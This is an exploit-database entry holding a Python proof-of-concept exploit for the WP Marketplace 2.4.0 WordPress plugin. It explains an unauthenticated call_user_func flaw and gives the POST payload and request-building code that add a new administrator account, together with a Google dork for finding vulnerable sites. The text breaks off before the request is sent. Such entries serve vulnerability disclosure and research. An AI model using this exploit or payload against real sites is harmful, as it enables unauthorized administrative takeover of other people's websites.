发布 2015-03-25 漏洞条目

WordPress Plugin Marketplace 2.4.0 – Remote Code Execution (Add Admin)

Exploit Source

#!/usr/bin/python

# Exploit Name: WP Marketplace 2.4.0 Remote Command Execution

# Vulnerability discovered by Kacper Szurek (http://security.szurek.pl)

# Exploit written by Claudio Viviani

# --------------------------------------------------------------------

# The vulnerable function is located on "wpmarketplace/libs/cart.php" file:

# function ajaxinit(){

# if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){

# if(function_exists($_POST['execute']))

# call_user_func($_POST['execute'],$_POST);

# else

# echo __("function not defined!","wpmarketplace");

# die();

# }

# Any user from any post/page can call wpmp_pp_ajax_call() action (wp hook).

# wpmp_pp_ajax_call() call functions by call_user_func() through POST data:

# if (function_exists($_POST['execute']))

# call_user_func($_POST['execute'], $_POST);

# else

# ...

# $_POST data needs to be an array

# The wordpress function wp_insert_user is perfect:

# http://codex.wordpress.org/Function_Reference/wp_insert_user

# Description

# Insert a user into the database.

# Usage

# <?php wp_insert_user( $userdata ); ?>

# Parameters

# $userdata

# (mixed) (required) An array of user data, stdClass or WP_User object.

# Default: None

# Evil POST Data (Add new Wordpress Administrator):

# action=wpmp_pp_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator

# ---------------------------------------------------------------------

# Dork google: index of "wpmarketplace"

# Tested on WP Markeplace 2.4.0 version with BackBox 3.x and python 2.6

# Http connection

import urllib, urllib2, socket

import sys

# String manipulator

import string, random

# Args management

import optparse

# Check url

def checkurl(url):

if url[:8] != "https://" and url[:7] != "http://":

print('[X] You must insert http:// or https:// procotol')

sys.exit(1)

else:

return url

# Check if file exists and has readable

def checkfile(file):

if not os.path.isfile(file) and not os.access(file, os.R_OK):

print '[X] '+file+' file is missing or not readable'

sys.exit(1)

else:

return file

def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):

return ''.join(random.choice(chars) for _ in range(size))

banner = """

___ ___ __

| Y .-----.----.--| .-----.----.-----.-----.-----.

|. | | _ | _| _ | _ | _| -__|__ --|__ --|

|. / \ |_____|__| |_____| __|__| |_____|_____|_____|

|: | |__|

|::.|:. |

`--- ---'

___ ___ __ __ __

| Y .---.-.----| |--.-----| |_.-----| .---.-.----.-----.

|. | _ | _| <| -__| _| _ | | _ | __| -__|

|. \_/ |___._|__| |__|__|_____|____| __|__|___._|____|_____|

|: | | |__|

|::.|:. |

`--- ---'

WP Marketplace

R3m0t3 C0d3 Ex3cut10n

(Add WP Admin)

v2.4.0

Written by:

Claudio Viviani

http://www.homelab.it

info@homelab.it

homelabit@protonmail.ch

https://www.facebook.com/homelabit

https://twitter.com/homelabit

https://plus.google.com/+HomelabIt1/

https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

"""

commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]')

commandList.add_option('-t', '--target', action="store",

help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",

)

commandList.add_option('--timeout', action="store", default=10, type="int",

help="[Timeout Value] - Default 10",

)

options, remainder = commandList.parse_args()

# Check args

if not options.target:

print(banner)

commandList.print_help()

sys.exit(1)

host = checkurl(options.target)

timeout = options.timeout

print(banner)

socket.setdefaulttimeout(timeout)

username = id_generator()

pwd = id_generator()

body = urllib.urlencode({'action' : 'wpmp_pp_ajax_call',

'execute' : 'wp_insert_user',

'user_login' : username,

'user_pass' : pwd,

'role' : 'administrator'})

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}

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